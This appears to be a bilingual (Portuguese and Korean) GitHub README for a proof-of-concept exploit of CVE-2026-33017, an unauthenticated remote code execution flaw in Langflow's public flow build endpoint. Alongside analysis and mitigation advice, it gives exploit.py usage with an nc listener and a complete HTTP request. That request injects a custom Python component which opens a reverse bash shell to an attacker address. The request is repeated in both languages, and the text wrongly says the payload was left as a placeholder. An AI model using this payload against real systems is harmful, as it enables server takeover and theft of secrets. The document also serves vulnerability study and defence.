CVE-2026-33017 Langflow RCE

★ CVE-2026-33017 Langflow PoC de Execução Remota de Código ★

https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7

Configuração do Ambiente

Use os seguintes comandos para construir e executar o ambiente Langflow vulnerável:

docker build -t cve-2026-33017-langflow-vuln .
docker run --rm -it -p 7860:7860 --name langflow-vuln cve-2026-33017-langflow-vuln

Como Usar o PoC

Após iniciar a instância vulnerável do Langflow, execute o PoC com a URL de destino, o ID do fluxo público (Public flow) e o endereço de callback do atacante.

Opção A — use seu próprio listener:

# Terminal 1: start a listener
nc -lvnp 4444

# Terminal 2: fire the exploit
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444

Opção B — use o listener integrado com --listen:

python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444 --listen

PT-BR

CVE-2026-33017 é uma vulnerabilidade de Execução Remota de Código (RCE) no processo de build de fluxos públicos (Public flow) do Langflow, uma plataforma de código aberto para construir visualmente aplicações de LLM e workflows de IA.
Ao enviar dados de fluxo maliciosamente elaborados para o endpoint build_public_tmp sem autenticação, um atacante pode fazer com que código Python arbitrário seja executado no servidor.

Visão Geral

CVE-2026-33017 afeta o seguinte endpoint de build de fluxos públicos do Langflow, uma plataforma de código aberto para criar visualmente aplicações de LLM e workflows de IA.

POST /api/v1/build_public_tmp/{flow_id}/flow

Um fluxo público (Public flow) no Langflow foi projetado para ser compartilhado com outros usuários por meio de um link ou mecanismo semelhante.
Para dar suporte a esse recurso, o endpoint de build prepara o fluxo para execução sem exigir autenticação, lendo os nós, arestas e configurações do fluxo e, em seguida, construindo o grafo de execução interno necessário para executá-lo.

O problema é que as versões vulneráveis do build_public_tmp aceitavam não apenas as informações do fluxo público armazenadas no servidor, mas também o campo data fornecido no corpo da requisição.

Esse campo data poderia conter a definição completa do fluxo, incluindo:

• a lista de nós
• as conexões entre os nós
• valores de configuração detalhados para cada nó
• dados de templates e componentes personalizados necessários para a execução

Como resultado, um atacante poderia usar uma requisição não autenticada para injetar uma estrutura de fluxo totalmente controlada pelo atacante, em vez de depender do fluxo público legítimo armazenado no servidor.

Uma parte particularmente perigosa desse design é o recurso de Componente Personalizado (Custom Component).
No Langflow, um componente representa um bloco funcional individual responsável por tarefas como tratamento de entrada, invocação de modelos ou geração de saída. Um componente personalizado é um bloco extensível que permite aos usuários definir seu comportamento diretamente em código Python.

Um atacante poderia, portanto, incorporar um componente personalizado contendo código Python malicioso dentro do objeto data maliciosamente elaborado, e o servidor o processaria como se fosse uma parte normal do fluxo. Como resultado, o código injetado poderia ser interpretado e executado durante o processo de build ou execução, levando, em última instância, à execução remota de código.

Versões Afetadas

O GitHub Security Advisory lista a faixa afetada como <= 1.8.2, mas a correção — remoção do parâmetro data — foi lançada na versão 1.9.0. Portanto, todas as versões anteriores à 1.9.0 (incluindo 1.8.3 / 1.8.4) são afetadas, motivo pelo qual o CVE Record indica < 1.9.0.

Impacto

A exploração bem-sucedida desta vulnerabilidade pode permitir que um atacante assuma o controle do servidor Langflow e realize ações subsequentes, como:

• obter um shell no servidor
• exfiltrar variáveis de ambiente ou outras informações sensíveis
• instalar código malicioso adicional e estabelecer persistência

Prova de Conceito

O PoC a seguir demonstra o CVE-2026-33017 no Langflow 1.8.1.

1) Identificar o ID do Fluxo Público

O atacante primeiro identifica o flow_id de um fluxo público de destino.

2) Enviar uma Requisição de Build com um Componente Personalizado Malicioso

O atacante envia uma requisição build_public_tmp que injeta um componente personalizado cujo code em Python é executado no servidor durante o build temporário. Na requisição abaixo, o valor de code foi deixado como um espaço reservado — insira você mesmo o payload (veja a nota abaixo da requisição).

POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close

{
  "data": {
    "nodes": [
      {
        "id": "Exploit",
        "data": {
          "id": "Exploit",
          "type": "ExploitComp",
          "node": {
            "template": {
              "_type": "Component",
              "code": {
                "type": "code",
                "value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n    display_name = 'X'\n    outputs = [Output(display_name='O', name='o', method='r')]\n\n    def r(self) -> Data:\n        import socket,subprocess\n        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n        s.connect(('192.168.102.178', 4444))\n        p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n        p.wait()\n        return Data(data={'ok': 1})"
              }
            },
            "outputs": [
              { "types": ["Data"], "name": "o", "method": "r" }
            ]
          }
        }
      }
    ],
    "edges": []
  }
}

3) Obter um Shell

Durante o processo de build, o código incorporado no componente personalizado é executado no servidor. Quando a variante de reverse shell (automatizada pelo exploit.py) é usada, uma conexão é estabelecida de volta ao listener do atacante, dando ao atacante um shell interativo para executar comandos arbitrários no servidor.

Análise Técnica

Embora o build_public_tmp tenha sido criado para construir fluxos públicos, as versões vulneráveis ainda aceitavam um campo data diretamente do corpo da requisição.

Devido a esse design, o data fornecido pelo atacante era passado diretamente para a lógica de build do servidor, e qualquer código Python incorporado em um componente personalizado era tratado como se fizesse parte de um fluxo legítimo.

Como resultado, o atacante não precisava depender do fluxo público original armazenado no servidor. Em vez disso, ele podia injetar uma definição de fluxo totalmente maliciosa de sua autoria, incluindo código que poderia ser executado no servidor.

Após o patch, o build_public_tmp não aceita mais data fornecido externamente.
Em outras palavras, o caminho que anteriormente permitia aos atacantes injetar uma definição completa de fluxo por meio do corpo da requisição foi removido, o que também impediu a execução arbitrária de código por meio de componentes personalizados maliciosos.

Mitigação

• atualizar para Langflow 1.9.0 ou posterior
• remover a exposição desnecessária de fluxos públicos
• restringir o acesso externo direto às instâncias do Langflow

Referências

• GitHub Security Advisory: GHSA-vwmf-pq79-vjvx
• NVD: CVE-2026-33017
• Commit do Patch: 73b6612e3ef25fdae0a752d75b0fabd47328d4f0

Análise

• KR:
• EN:

KOR

CVE-2026-33017은 오픈소스 AI 워크플로우 플랫폼 Langflow의 Public 플로우 빌드 과정에서 발생하는 원격 코드 실행(Remote Code Execution, RCE) 취약점이다.
공격자는 인증 없이 build_public_tmp 엔드포인트에 조작된 플로우 데이터를 전달함으로써, 서버 측에서 임의 Python 코드 실행을 유도할 수 있다.

Overview

CVE-2026-33017은 LLM 애플리케이션과 AI 워크플로우를 시각적으로 구성할 수 있는 오픈소스 플랫폼 Langflow의 Public 플로우 빌드 엔드포인트인 아래 API에서 발생한다.

POST /api/v1/build_public_tmp/{flow_id}/flow

Langflow의 Public 플로우는 다른 사용자가 링크 등을 통해 불러와 사용할 수 있도록 외부에 공개되는 플로우이다.
이 기능은 인증 없이도 해당 플로우를 실행 가능한 상태로 준비할 수 있도록 설계되어 있으며, 빌드 엔드포인트는 플로우를 구성하는 노드, 연결 관계, 설정값 등을 바탕으로 내부 실행 그래프를 생성하고 각 블록이 실제로 동작할 수 있도록 준비하는 역할을 수행한다.

문제는 취약한 버전의 build_public_tmp 엔드포인트가 요청 바디에 포함된 data 값도 함께 받아들였다는 점이다.

이 data에는 다음과 같은 플로우 전체 정의가 포함될 수 있다.

• 노드 목록
• 노드 간 연결 관계
• 각 노드의 세부 설정값
• 실행에 필요한 템플릿 및 커스텀 컴포넌트 정보

즉, 공격자는 인증 없는 요청으로 서버에 저장된 정상 플로우 대신 자신이 조작한 플로우 구조 전체를 주입할 수 있었다.

이 과정에서 특히 위험한 요소는 커스텀 컴포넌트(Custom Component) 이다.
Langflow에서 컴포넌트는 입력 처리, 모델 호출, 출력 생성 등 개별 기능을 담당하는 블록이며, 커스텀 컴포넌트는 사용자가 Python 코드로 직접 정의할 수 있는 확장형 블록이다.

공격자는 조작한 data 내부에 악성 Python 코드가 포함된 커스텀 컴포넌트를 삽입할 수 있었고, 서버는 이를 정상적인 플로우 구성 요소처럼 처리했다. 그 결과, 해당 코드가 빌드/실행 흐름에서 실제로 해석·실행되며 원격 코드 실행이 가능해졌다.

Affected Versions

GitHub Security Advisory는 영향 범위를 <= 1.8.2로 표기하지만, 실제 패치(data 파라미터 제거)는 1.9.0에 반영되었다. 따라서 1.8.3·1.8.4를 포함해 1.9.0 이전의 모든 버전이 취약하며, CVE Record도 이를 < 1.9.0으로 명시한다.

Impact

이 취약점을 통해 공격자는 Langflow 서버를 제어한 뒤 추가 행위를 수행할 수 있다. 대표적인 영향은 다음과 같다.

• 서버 셸 획득
• 환경 변수 및 비밀정보 유출
• 추가 악성 코드 설치 및 지속성 확보

Proof of Concept

아래 PoC는 Langflow 1.8.1 환경에서 CVE-2026-33017을 재현하는 예시이다.

1) Public 플로우 ID 확인

공격자는 공격 대상이 되는 Public 플로우의 flow_id 를 먼저 파악한다.

2) 악성 커스텀 컴포넌트 빌드 요청

공격자는 커스텀 컴포넌트의 Python code가 임시 빌드 과정에서 서버에서 실행되도록 조작한 build_public_tmp 요청을 전송한다. 아래 요청의 code 값은 자리표시자로 비워 두었으며, 페이로드는 직접 채워 넣어야 한다(요청 아래 안내 참고).

POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close

{
  "data": {
    "nodes": [
      {
        "id": "Exploit",
        "data": {
          "id": "Exploit",
          "type": "ExploitComp",
          "node": {
            "template": {
              "_type": "Component",
              "code": {
                "type": "code",
                "value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n    display_name = 'X'\n    outputs = [Output(display_name='O', name='o', method='r')]\n\n    def r(self) -> Data:\n        import socket,subprocess\n        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n        s.connect(('192.168.102.178', 4444))\n        p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n        p.wait()\n        return Data(data={'ok': 1})"
              }
            },
            "outputs": [
              { "types": ["Data"], "name": "o", "method": "r" }
            ]
          }
        }
      }
    ],
    "edges": []
  }
}

3) 쉘 탈취

빌드 과정에서 커스텀 컴포넌트에 포함된 코드가 서버에서 실행된다. exploit.py가 자동화하는 리버스 셸 방식을 사용하면 공격자 측 리스너로 연결이 수립되어, 공격자는 서버 상에서 임의 명령을 실행할 수 있는 대화형 셸을 획득한다.

Technical Analysis

취약 버전의 build_public_tmp 엔드포인트는 Public 플로우를 위한 빌드 API 임에도 불구하고, 요청 본문에서 data 값을 직접 받을 수 있었다.

이 설계 때문에 공격자가 전달한 data는 서버 측 빌드 로직에 그대로 반영되었고, 그 내부에 포함된 커스텀 컴포넌트의 Python 코드 역시 정상 플로우 구성 요소처럼 처리되었다.

결과적으로 공격자는 서버에 저장된 원래의 Public 플로우를 따르지 않고, 자신이 만든 악성 플로우 정의를 그대로 주입할 수 있었으며, 이 안에 포함된 악성 코드가 서버에서 실행될 수 있었다.

패치 이후에는 build_public_tmp에서 더 이상 외부 요청으로부터 data를 받지 않도록 수정되었다.
즉, 공격자가 요청 바디를 통해 플로우 정의 자체를 주입하는 경로가 차단되었고, 이로 인해 커스텀 컴포넌트를 통한 임의 코드 실행 또한 불가능해졌다.

Mitigation

• Langflow 1.9.0 이상으로 업데이트
• 불필요한 Public 플로우 노출 제거
• Langflow 인스턴스를 외부에 직접 노출하지 않도록 네트워크 제한

References

• GitHub Security Advisory: GHSA-vwmf-pq79-vjvx
• NVD: CVE-2026-33017
• Patch Commit: 73b6612e3ef25fdae0a752d75b0fabd47328d4f0

Analysis

• KR:
• EN: